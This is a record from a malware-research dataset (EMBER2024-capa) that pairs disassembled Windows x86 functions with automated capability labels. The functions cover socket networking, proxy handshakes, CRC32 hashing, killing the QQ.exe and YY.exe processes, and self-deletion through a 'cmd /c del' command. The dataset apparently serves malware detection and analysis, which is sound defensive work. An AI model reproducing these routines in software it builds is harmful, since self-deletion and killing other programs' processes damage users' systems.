joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e840
Capabilities:
Read file on windows

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 4], 0
je 0x40e884
mov eax, dword [esi + 8]
test eax, eax
je 0x40e884
mov ecx, dword [esp + 8]
push edi
push eax
mov eax, dword [esp + 0x14]
push eax
push 1
push ecx
call fcn.0043b19b
mov edx, dword [esi + 8]
push edx
mov edi, eax
call fcn.0043c081
add esp, 0x14
test eax, eax
je 0x40e87d
pop edi
or eax, 0xffffffff
pop esi
ret 8
mov eax, edi
pop edi
pop esi
ret 8
xor eax, eax
pop esi
ret 8

Function at 0x40e890
Capabilities:
Write file on windows

Disassembly:
push esi
mov esi, ecx
cmp byte [esi + 4], 0
je 0x40e8d4
mov eax, dword [esi + 8]
test eax, eax
je 0x40e8d4
mov ecx, dword [esp + 8]
push edi
push eax
mov eax, dword [esp + 0x14]
push eax
push 1
push ecx
call fcn.0043b335
mov edx, dword [esi + 8]
push edx
mov edi, eax
call fcn.0043c081
add esp, 0x14
test eax, eax
je 0x40e8cd
pop edi
or eax, 0xffffffff
pop esi
ret 8
mov eax, edi
pop edi
pop esi
ret 8
xor eax, eax
pop esi
ret 8

Function at 0x40ef70
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x34
mov eax, dword [0x469424]
xor eax, esp
mov dword [esp + 0x30], eax
push ebx
push ebp
push edi
lea eax, [esp + 0xc]
push eax
mov ebx, ecx
call dword [0x455298]
movzx ecx, word [esp + 0x18]
movzx edx, word [esp + 0x16]
movzx eax, word [esp + 0x14]
push ecx
movzx ecx, word [esp + 0x16]
push edx
movzx edx, word [esp + 0x16]
push eax
movzx eax, word [esp + 0x18]
push ecx
push edx
push eax
push str.__d__d__d__d:_d:_d_6_
lea ecx, [esp + 0x38]
push 0x20
push ecx
call fcn.0043a66c
add esp, 0x24
lea edi, [esi + 0x28]
push edi
call dword [0x4552a4]
lea eax, [esp + 0x1c]
lea ebp, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40efd7
mov edx, dword [esi + 0x24]
push edx
sub eax, ebp
push eax
lea eax, [esp + 0x24]
push 1
push eax
call fcn.0043b335
mov ecx, dword [esi + 0x24]
mov edx, dword [esp + 0x54]
push ecx
push edx
push 1
push ebx
call fcn.0043b335
mov ebx, eax
mov eax, dword [esi + 0x24]
push eax
call fcn.0043cf43
add esp, 0x24
push edi
call dword [0x4552a8]
mov ecx, dword [esp + 0x3c]
pop edi
pop ebp
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.00439d55
add esp, 0x34
ret 4

Function at 0x40f450
Capabilities:
Create thread

Disassembly:
push ecx
push esi
mov esi, eax
cmp byte [esi + 4], 0
jne 0x40f4b7
cmp dword [esi + 8], 0xffffffff
je 0x40f4b7
call dword [0x4555f0]
test eax, eax
mov dword [esi + 0xc], eax
je 0x40f4b7
push 0x3f
push eax
mov eax, dword [esi + 8]
push eax
call dword [0x4555a8]
cmp eax, 0xffffffff
jne 0x40f4bc
cmp byte [esi + 4], 0
je 0x40f4b7
mov eax, dword [esi + 0xc]
test eax, eax
mov byte [esi + 5], 1
je 0x40f49e
push eax
call dword [0x4555b4]
mov dword [esi + 0xc], 0
mov eax, dword [esi + 0x10]
test eax, eax
je 0x40f4b3
push eax
call dword [0x4552ec]
mov dword [esi + 0x10], 0
mov byte [esi + 4], 0
xor al, al
pop esi
pop ecx
ret
lea ecx, [esp + 4]
push ecx
push 0
push esi
push 0x40f600
push 0
push 0
mov byte [esi + 4], 1
call fcn.0043d197
add esp, 0x18
test eax, eax
mov dword [esi + 0x10], eax
jne 0x40f4eb
push eax
call fcn.0040f6f0
xor al, al
pop esi
pop ecx
ret
mov byte [esi + 4], 1
mov al, 1
pop esi
pop ecx
ret
Function at 0x40f500
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x18
mov eax, dword [0x469424]
xor eax, esp
mov dword [esp + 0x10], eax
xor eax, eax
push esi
mov dword [esp + 4], eax
push ecx
mov esi, edx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov word [esp + 8], 2
call dword [0x4555c4]
mov dword [esp + 8], eax
mov eax, dword [esp + 0x24]
push eax
call dword [0x4555d0]
mov edx, dword [esp + 0x20]
mov esi, dword [esi + 8]
push 0x10
lea ecx, [esp + 8]
push ecx
push 0
push edx
push edi
push esi
mov word [esp + 0x1e], ax
call dword [0x4555e4]
mov ecx, dword [esp + 0x14]
pop esi
xor ecx, esp
call fcn.00439d55
add esp, 0x18
ret 8

Function at 0x40f570
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub esp, 0x1c
mov eax, dword [0x469424]
xor eax, esp
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x20]
mov eax, dword [eax + 8]
push esi
lea edx, [esp + 8]
push edx
lea edx, [esp + 0x10]
push edx
push 0
push 0x5dc
push ecx
push eax
mov dword [esp + 0x20], 0x10
call dword [0x4555c0]
mov esi, eax
test esi, esi
jle 0x40f5e2
test edi, edi
je 0x40f5ce
mov eax, dword [esp + 0x10]
push eax
call dword [0x4555bc]
mov edx, edi
mov edi, edi
mov cl, byte [eax]
mov byte [edx], cl
add eax, 1
add edx, 1
test cl, cl
jne 0x40f5c0
test ebx, ebx
je 0x40f5e0
mov ecx, dword [esp + 0xe]
push ecx
call dword [0x4555d8]
mov word [ebx], ax
mov eax, esi
mov ecx, dword [esp + 0x1c]
pop esi
xor ecx, esp
call fcn.00439d55
add esp, 0x1c
ret 4

Function at 0x40f740
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
xor ecx, ecx
test esi, esi
mov eax, 0xff
jle 0x40f76d
jmp 0x40f750
movzx edx, byte [ecx + edi]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x46a960]
add ecx, 1
cmp ecx, esi
jl 0x40f750
ret

Function at 0x410100
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push 0xffffffffffffffff
push 0x45385e
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x469424]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov edi, dword [esp + 0x1c]
mov dword [edi], vtable.CCommandAction.0
lea esi, [edi + 0x3c]
push 1
mov dword [esp + 0x18], 3
call fcn.004104a0
push esi
mov byte [esp + 0x18], 2
call fcn.004103a0
mov eax, dword [edi + 0x30]
test eax, eax
je 0x410159
push eax
call fcn.0041edce
add esp, 4
mov esi, dword [0x4552ec]
mov dword [edi + 0x30], 0
mov dword [edi + 0x34], 0
mov dword [edi + 0x38], 0
mov eax, dword [edi + 0x20]
push eax
call esi
cmp dword [edi + 0x24], 0
jne 0x41018e
mov ecx, dword [edi + 0x28]
push ecx
call fcn.0041edce
add esp, 4
jmp 0x41019e
mov edx, dword [edi + 0x28]
push edx
call dword [0x455290]
mov eax, dword [edi + 0x24]
push eax
call esi
add edi, 8
push edi
call dword [0x4552a0]
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0xc
ret 4
Function at 0x410ae0
Capabilities:
Set socket configuration

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
lea esi, [ebp + 0x7c]
push edi
mov byte [esi + 0x18], 1
call fcn.00410800
push 6
push 1
call fcn.0040f3e0
test al, al
je 0x410b9a
mov byte [esi + 0x18], 2
mov eax, dword [ebp + 0x84]
cmp eax, 0xffffffff
mov ebx, 0x1388
mov dword [esp + 0x14], ebx
je 0x410b95
mov edi, dword [0x4555e0]
push 4
lea ecx, [esp + 0x18]
push ecx
push 0x1006
push 0xffff
push eax
call edi
cmp eax, 0xffffffff
setne al
test al, al
je 0x410b95
mov eax, dword [ebp + 0x84]
cmp eax, 0xffffffff
mov dword [esp + 0x14], ebx
je 0x410b95
push 4
lea edx, [esp + 0x18]
push edx
push 0x1005
push 0xffff
push eax
call edi
cmp eax, 0xffffffff
setne al
test al, al
je 0x410b95
cmp dword [ebp + 0x24], 0x10
jb 0x410b79
mov ebx, dword [ebp + 0x10]
jmp 0x410b7c
lea ebx, [ebp + 0x10]
movzx eax, word [ebp + 2]
push eax
mov ecx, esi
call fcn.00413910
test al, al
je 0x410b95
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret 4
call fcn.00410800
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret 4

Function at 0x410bb0
Capabilities:
Send data
Send data on socket

Disassembly:
push 0xffffffffffffffff
push 0x453318
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x469424]
xor eax, esp
mov dword [esp + 0x20], eax
push esi
mov eax, dword [0x469424]
xor eax, esp
push eax
lea eax, [esp + 0x2c]
mov dword fs:[0], eax
push 4
mov esi, ecx
push str.GET
lea ecx, [esp + 0x14]
mov dword [esp + 0x2c], 0xf
mov dword [esp + 0x28], 0
mov byte [esp + 0x18], 0
call fcn.00401b50
lea eax, [esp + 0xc]
push eax
mov ecx, esi
mov dword [esp + 0x38], 0
call fcn.00411070
mov edx, dword [esp + 0x44]
mov eax, dword [esp + 0x40]
lea ecx, [esp + 0xc]
push ecx
mov ecx, dword [esp + 0x40]
push edx
push eax
push ecx
mov ecx, esi
call fcn.00411180
push 2
push 0x45d550
lea eax, [esp + 0x14]
call fcn.00402990
cmp dword [esp + 0x24], 0x10
mov eax, dword [esp + 0x10]
jae 0x410c54
lea eax, [esp + 0x10]
mov esi, dword [esi + 0x84]
cmp esi, 0xffffffff
jne 0x410c63
or esi, esi
jmp 0x410c74
mov edx, dword [esp + 0x20]
push 0
push edx
push eax
push esi
call dword [0x4555f8]
mov esi, eax
cmp dword [esp + 0x24], 0x10
jb 0x410c88
mov eax, dword [esp + 0x10]
push eax
call fcn.0041edce
add esp, 4
mov eax, esi
mov ecx, dword [esp + 0x2c]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.00439d55
add esp, 0x30
ret 0xc
Function at 0x413910
Capabilities:
Connect socket
Resolve dns

Disassembly:
sub esp, 0x14
mov eax, dword [0x469424]
xor eax, esp
mov dword [esp + 0x10], eax
push ebp
mov ebp, dword [esp + 0x1c]
push esi
push edi
mov edi, ecx
cmp byte [edi + 0x25], 0
jne 0x4139d5
push ebp
mov word [esp + 0x10], 2
call dword [0x4555d0]
push ebx
mov word [esp + 0x12], ax
call dword [0x4555c4]
cmp eax, 0xffffffff
mov dword [esp + 0x10], eax
jne 0x41396a
push ebx
call dword [0x4555d4]
test eax, eax
je 0x4139a5
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov dword [esp + 0x10], edx
mov al, byte [edi + 0x18]
cmp al, 1
je 0x4139a5
cmp al, 8
je 0x4139a5
mov eax, dword [edi + 8]
cmp eax, 0xffffffff
mov byte [edi + 0x18], 5
je 0x4139a1
push 0x10
lea ecx, [esp + 0x10]
push ecx
push eax
call dword [0x4555b8]
cmp eax, 0xffffffff
jne 0x4139bb
call dword [0x4555c8]
cmp eax, 0x2733
je 0x4139bb
mov byte [edi + 0x18], 7
xor al, al
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.00439d55
add esp, 0x14
ret 4
mov byte [edi + 0x18], 6
mov al, 1
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.00439d55
add esp, 0x14
ret 4
cmp dword [edi + 0x44], 0x10
jb 0x4139e0
mov eax, dword [edi + 0x30]
jmp 0x4139e3
lea eax, [edi + 0x30]
push eax
call dword [0x4555c4]
movzx edx, word [edi + 0x28]
push edx
mov dword [esp + 0x14], eax
mov word [esp + 0x10], 2
call dword [0x4555d0]
mov word [esp + 0xe], ax
mov al, byte [edi + 0x18]
cmp al, 1
je 0x4139a5
cmp al, 8
je 0x4139a5
mov eax, dword [edi + 8]
cmp eax, 0xffffffff
mov byte [edi + 0x18], 5
je 0x4139a1
push 0x10
lea ecx, [esp + 0x10]
push ecx
push eax
call dword [0x4555b8]
cmp eax, 0xffffffff
jne 0x413a40
call dword [0x4555c8]
cmp eax, 0x2733
jne 0x4139a1
mov al, byte [edi + 0x26]
cmp al, 5
mov byte [edi + 0x18], 6
jne 0x413a79
mov esi, edi
call fcn.00413f00
test al, al
je 0x4139a5
push ebp
mov ecx, ebx
call fcn.00413ad0
mov byte [edi + 0x24], al
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.00439d55
add esp, 0x14
ret 4
cmp al, 3
jne 0x413a9d
push ebp
push edi
mov esi, ebx
call fcn.00413dd0
mov byte [edi + 0x24], al
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0x10]
xor ecx, esp
call fcn.00439d55
add esp, 0x14
ret 4
cmp al, 4
jne 0x4139a5
push ebp
push ebx
mov ecx, edi
call fcn.00413cb0
mov ecx, dword [esp + 0x1c]
mov byte [edi + 0x24], al
pop edi
pop esi
pop ebp
xor ecx, esp
call fcn.00439d55
add esp, 0x14
ret 4
Function at 0x413ad0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x204
mov eax, dword [0x469424]
xor eax, esp
mov dword [esp + 0x200], eax
mov eax, ecx
push esi
mov byte [esp + 4], 5
mov byte [esp + 5], 1
mov byte [esp + 6], 0
mov byte [esp + 7], 3
lea esi, [eax + 1]
mov edi, edi
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x413b00
sub eax, esi
mov byte [esp + 8], al
mov eax, ecx
lea esi, [eax + 1]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x413b14
sub eax, esi
push eax
push ecx
lea eax, [esp + 0x11]
push eax
call fcn.00442740
movzx esi, byte [esp + 0x14]
mov ecx, dword [esp + 0x218]
add esp, 0xc
push ecx
add esi, 5
call dword [0x4555d0]
mov word [esp + esi + 4], ax
mov eax, dword [edi + 8]
cmp eax, 0xffffffff
je 0x413b76
push 0
add esi, 2
push esi
lea edx, [esp + 0xc]
push edx
push eax
call dword [0x4555f8]
test eax, eax
jne 0x413b76
add dword [edi + 0x80], 0x1a00
jmp 0x413c89
mov eax, dword [edi + 8]
cmp eax, 0xffffffff
je 0x413b95
push 0
push 0x200
lea ecx, [esp + 0xc]
push ecx
push eax
call dword [0x4555e8]
test eax, eax
jg 0x413ba4
add dword [edi + 0x80], 0x1b00
jmp 0x413c89
cmp eax, 0xa
jge 0x413bb8
mov dword [edi + 0x80], 0xf00
jmp 0x413c89
cmp byte [esp + 4], 5
jne 0x413c7f
cmp byte [esp + 6], 0
jne 0x413c7f
mov al, byte [esp + 5]
test al, al
jne 0x413bf0
mov al, 1
pop esi
mov ecx, dword [esp + 0x200]
xor ecx, esp
call fcn.00439d55
add esp, 0x204
ret 4
cmp al, 1
jne 0x413c03
mov dword [edi + 0x80], 0x1100
jmp 0x413c89
cmp al, 2
jne 0x413c13
mov dword [edi + 0x80], 0x1200
jmp 0x413c89
cmp al, 3
jne 0x413c23
mov dword [edi + 0x80], 0x1300
jmp 0x413c89
cmp al, 4
jne 0x413c33
mov dword [edi + 0x80], 0x1400
jmp 0x413c89
cmp al, 5
jne 0x413c43
mov dword [edi + 0x80], 0x1500
jmp 0x413c89
cmp al, 6
jne 0x413c53
mov dword [edi + 0x80], 0x1600
jmp 0x413c89
cmp al, 7
jne 0x413c63
mov dword [edi + 0x80], 0x1700
jmp 0x413c89
cmp al, 8
jne 0x413c73
mov dword [edi + 0x80], 0x1800
jmp 0x413c89
mov dword [edi + 0x80], 0x1900
jmp 0x413c89
mov dword [edi + 0x80], 0x1000
mov ecx, dword [esp + 0x204]
pop esi
xor ecx, esp
xor al, al
call fcn.00439d55
add esp, 0x204
ret 4
Function at 0x413cb0
Capabilities:
Receive data
Receive data on socket
Resolve dns
Send data
Send data on socket

Disassembly:
sub esp, 0x104
mov eax, dword [0x469424]
xor eax, esp
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x108]
push esi
push edi
push eax
mov esi, ecx
call dword [0x4555d4]
mov edi, eax
test edi, edi
jne 0x413d01
mov dword [esi + 0x80], 2
xor al, al
mov ecx, dword [esp + 0x108]
pop edi
pop esi
xor ecx, esp
call fcn.00439d55
add esp, 0x104
ret 8
cmp word [edi + 8], 2
je 0x413d14
mov dword [esi + 0x80], 3
jmp 0x413ce6
mov eax, dword [esp + 0x114]
push eax
call dword [0x4555d0]
cmp dword [esi + 0x60], 0x10
movzx eax, ax
mov byte [esp + 8], 4
mov byte [esp + 9], 1
mov word [esp + 0xa], ax
mov ecx, dword [edi + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
mov edi, dword [esi + 0x5c]
mov dword [esp + 0xc], eax
jb 0x413d4d
mov eax, dword [esi + 0x4c]
jmp 0x413d50
lea eax, [esi + 0x4c]
push edi
push eax
lea ecx, [esp + 0x18]
push ecx
call fcn.00442740
mov eax, dword [esi + 8]
add esp, 0xc
cmp eax, 0xffffffff
mov byte [esp + edi + 0x10], 0
je 0x413d86
push 0
add edi, 9
push edi
lea edx, [esp + 0x10]
push edx
push eax
call dword [0x4555f8]
test eax, eax
je 0x413ce6
mov esi, dword [esi + 8]
cmp esi, 0xffffffff
je 0x413ce6
push 0
push pe_nt_image_headers32
lea eax, [esp + 0x10]
push eax
push esi
call dword [0x4555e8]
cmp eax, 8
jne 0x413ce6
cmp byte [esp + 8], 0
jne 0x413ce6
mov al, byte [esp + 9]
cmp al, 0x5a
jne 0x413ce6
mov al, 1
jmp 0x413ce8
Function at 0x413dd0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
sub esp, 0x104
mov eax, dword [0x469424]
xor eax, esp
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0x10c]
push ebx
push ebp
mov ebp, dword [esp + 0x110]
push edi
push eax
mov byte [esp + 0x10], 4
mov byte [esp + 0x11], 1
call dword [0x4555d0]
mov edi, dword [ebp + 0x5c]
xor ebx, ebx
cmp dword [ebp + 0x60], 0x10
mov word [esp + 0xe], ax
mov byte [esp + 0x12], bl
mov byte [esp + 0x11], bl
mov byte [esp + 0x10], bl
mov byte [esp + 0x13], 1
jb 0x413e2c
mov eax, dword [ebp + 0x4c]
jmp 0x413e2f
lea eax, [ebp + 0x4c]
push edi
push eax
lea ecx, [esp + 0x1c]
push ecx
call fcn.00442740
mov eax, esi
add esp, 0xc
mov byte [esp + edi + 0x14], bl
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x413e47
sub eax, edx
push eax
lea edx, [esp + edi + 0x19]
push esi
push edx
call fcn.00442740
mov eax, esi
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x413e66
sub eax, edx
add eax, edi
mov byte [esp + eax + 0x15], bl
mov eax, esi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
cmp cl, bl
jne 0x413e80
mov ecx, dword [ebp + 8]
sub eax, edx
cmp ecx, 0xffffffff
je 0x413ea9
push ebx
lea edx, [eax + edi + 0xa]
push edx
lea eax, [esp + 0x14]
push eax
push ecx
call dword [0x4555f8]
cmp eax, ebx
je 0x413eda
mov ebp, dword [ebp + 8]
cmp ebp, 0xffffffff
je 0x413eda
push ebx
push pe_nt_image_headers32
lea ecx, [esp + 0x14]
push ecx
push ebp
call dword [0x4555e8]
cmp eax, 8
jne 0x413eda
cmp byte [esp + 0xc], bl
jne 0x413eda
mov al, byte [esp + 0xd]
cmp al, 0x5a
jne 0x413eda
mov al, 1
jmp 0x413edc
xor al, al
mov ecx, dword [esp + 0x10c]
pop edi
pop ebp
pop ebx
xor ecx, esp
call fcn.00439d55
add esp, 0x104
ret 8
Function at 0x414bd0
Capabilities:
Create thread

Disassembly:
sub esp, 8
push ebx
push ebp
push edi
xor ebx, ebx
lea ecx, [esp + 0x10]
push ecx
push ebx
lea ebp, [esi + 0x1d4]
push ebp
push 0x415460
lea eax, [esi + 0xfc]
mov dword [esi + 0x174], esi
mov dword [esi + 0x200], eax
push ebx
push ebx
mov byte [ebp + 4], 1
mov byte [ebp + 5], bl
call fcn.0043d197
add esp, 0x18
cmp eax, 0xffffffff
jne 0x414c19
mov byte [ebp + 4], bl
mov byte [ebp + 5], 1
lea edx, [esp + 0x10]
push edx
push ebx
lea edi, [esi + 0x198]
push edi
push 0x4159a0
push ebx
push ebx
mov byte [edi + 4], 1
mov byte [edi + 5], bl
call fcn.0043d197
add esp, 0x18
cmp eax, 0xffffffff
jne 0x414c48
mov byte [edi + 4], bl
mov byte [edi + 5], 1
lea eax, [esi + 0x184]
push eax
lea ecx, [esi + 8]
mov ebx, esi
mov dword [esi + 0x190], ebp
mov dword [esi + 0x194], edi
call fcn.00415f80
pop edi
pop ebp
pop ebx
add esp, 8
ret

Function at 0x415860
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x452c51
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x469424]
xor eax, esp
push eax
lea eax, [esp + 0xc]
mov dword fs:[0], eax
mov edi, dword [esp + 0x1c]
lea esi, [edi + 8]
mov dword [edi], vtable.CUdpRemoteReqBuffer.0
call fcn.0040f2a0
mov dword [edi + 0x14], 0xffffffff
xor eax, eax
mov dword [edi + 0x1c], eax
mov dword [edi + 0x20], eax
mov dword [edi + 0x24], eax
mov dword [edi + 0x28], eax
push eax
push 0xffff
push eax
mov dword [edi + 0x30], eax
mov dword [edi + 0x34], eax
mov dword [edi + 0x38], eax
push eax
mov byte [edi + 4], al
mov byte [edi + 5], 1
call dword [0x4552e0]
mov dword [edi + 0x14], eax
mov eax, edi
mov ecx, dword [esp + 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
add esp, 0xc
ret 4

Function at 0x416060
Capabilities:
Initialize winsock library

Disassembly:
sub esp, 0x19c
mov eax, dword [0x469424]
xor eax, esp
mov dword [esp + 0x194], eax
lea eax, [esp]
push eax
push 0x202
call dword [0x4555ac]
test eax, eax
je 0x41609e
xor al, al
mov ecx, dword [esp + 0x194]
xor ecx, esp
call fcn.00439d55
add esp, 0x19c
ret
mov ecx, dword [esp + 0x194]
mov al, 1
xor ecx, esp
mov byte [esi + 0xc8], al
call fcn.00439d55
add esp, 0x19c
ret

Function at 0x4161b0
Capabilities:
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x18
mov eax, dword [0x469424]
xor eax, esp
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x1c]
cmp byte [eax + 0x25], 0
je 0x4161e6
cmp byte [eax + 0x24], 0
je 0x4161e6
mov ax, word [eax + 0x86]
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.00439d55
add esp, 0x18
ret 4
mov eax, dword [eax + 8]
lea ecx, [esp]
push ecx
lea edx, [esp + 8]
push edx
push eax
mov dword [esp + 0xc], 0x10
call dword [0x4555dc]
mov ecx, dword [esp + 6]
push ecx
call dword [0x4555d8]
mov ecx, dword [esp + 0x14]
xor ecx, esp
call fcn.00439d55
add esp, 0x18
ret 4
Function at 0x41c440
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
test ecx, ecx
push esi
push edi
mov edi, eax
mov esi, edx
jne 0x41c44f
pop edi
xor eax, eax
pop esi
ret
cmp edi, 8
not esi
jb 0x41c537
push ebp
mov ebp, edi
shr ebp, 3
movzx edx, byte [ecx]
xor edx, esi
and edx, 0xff
add ecx, 1
mov eax, esi
shr eax, 8
xor eax, dword [edx*4 + 0x45cbd0]
movzx edx, byte [ecx]
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x45cbd0]
movzx edx, byte [ecx + 1]
xor edx, eax
and edx, 0xff
add ecx, 1
shr eax, 8
xor eax, dword [edx*4 + 0x45cbd0]
movzx edx, byte [ecx + 1]
xor edx, eax
add ecx, 1
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x45cbd0]
movzx edx, byte [ecx + 1]
xor edx, eax
add ecx, 1
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x45cbd0]
movzx edx, byte [ecx + 1]
xor edx, eax
add ecx, 1
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x45cbd0]
movzx edx, byte [ecx + 1]
add ecx, 1
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x45cbd0]
movzx edx, byte [ecx + 1]
add ecx, 1
xor edx, eax
and edx, 0xff
shr eax, 8
xor eax, dword [edx*4 + 0x45cbd0]
add ecx, 1
sub edi, 8
sub ebp, 1
mov esi, eax
jne 0x41c460
pop ebp
test edi, edi
je 0x41c55c
jmp 0x41c540
movzx eax, byte [ecx]
xor eax, esi
and eax, 0xff
shr esi, 8
xor esi, dword [eax*4 + 0x45cbd0]
add ecx, 1
sub edi, 1
jne 0x41c540
mov eax, esi
pop edi
not eax
pop esi
ret
Function at 0x401d80
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub esp, 0x128
push ebx
push 0
push 2
mov dword [esp + 0xc], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [esp + 4]
push eax
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x401e13
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, str.QQ.exe
lea eax, [esp + 0x34]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x401de5
test cl, cl
je 0x401de1
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x401de5
add eax, 2
add esi, 2
test cl, cl
jne 0x401dc1
xor eax, eax
jmp 0x401dea
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401e01
mov eax, dword [esp + 0x18]
push eax
push 0
push 0x1f0fff
call edi
push 0
push eax
call ebp
lea ecx, [esp + 0x10]
push ecx
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401db8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret

Function at 0x401e20
Capabilities:
Enumerate processes
Terminate process

Disassembly:
sub esp, 0x128
push ebx
push 0
push 2
mov dword [esp + 0xc], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebx, eax
lea eax, [esp + 4]
push eax
push ebx
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x401eb3
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, str.YY.exe
lea eax, [esp + 0x34]
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x401e85
test cl, cl
je 0x401e81
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x401e85
add eax, 2
add esi, 2
test cl, cl
jne 0x401e61
xor eax, eax
jmp 0x401e8a
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x401ea1
mov eax, dword [esp + 0x18]
push eax
push 0
push 0x1f0fff
call edi
push 0
push eax
call ebp
lea ecx, [esp + 0x10]
push ecx
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401e58
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x128
ret
Function at 0x401ec0
Capabilities:
Create process on windows
Get comspec environment variable
Query environment variable
Self delete

Disassembly:
sub esp, 0x348
lea eax, [esp + 0x3c]
push esi
push edi
push 0x104
push eax
mov edi, ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x401ff3
lea ecx, [esp + 0x44]
push 0x104
lea edx, [esp + 0x48]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
test eax, eax
je 0x401ff3
lea eax, [esp + 0x24c]
push 0x104
push eax
push str.COMSPEC
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x401ff3
lea ecx, [esp + 0x148]
push str._c_del
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea edx, [esp + 0x44]
lea eax, [esp + 0x148]
push edx
push eax
call esi
lea ecx, [esp + 0x148]
push str.___nul
push ecx
call esi
lea ecx, [esp + 8]
lea edx, [esp + 0x24c]
lea eax, [esp + 0x148]
push ecx
mov dword [esp + 0xc], 0x3c
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], str.Open
mov dword [esp + 0x1c], edx
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x10], 0x40
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
je 0x401ff3
mov edx, dword [esp + 0x40]
mov esi, dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 0x40
push edx
call esi
push 0x100
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call esi
push 0xf
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push eax
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
lea eax, [esp + 0x44]
push 0
push eax
push 1
push 4
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
push 0
mov ecx, edi
call sub.MFC42.DLL_CDialog::EndDialog
pop edi
pop esi
add esp, 0x348
ret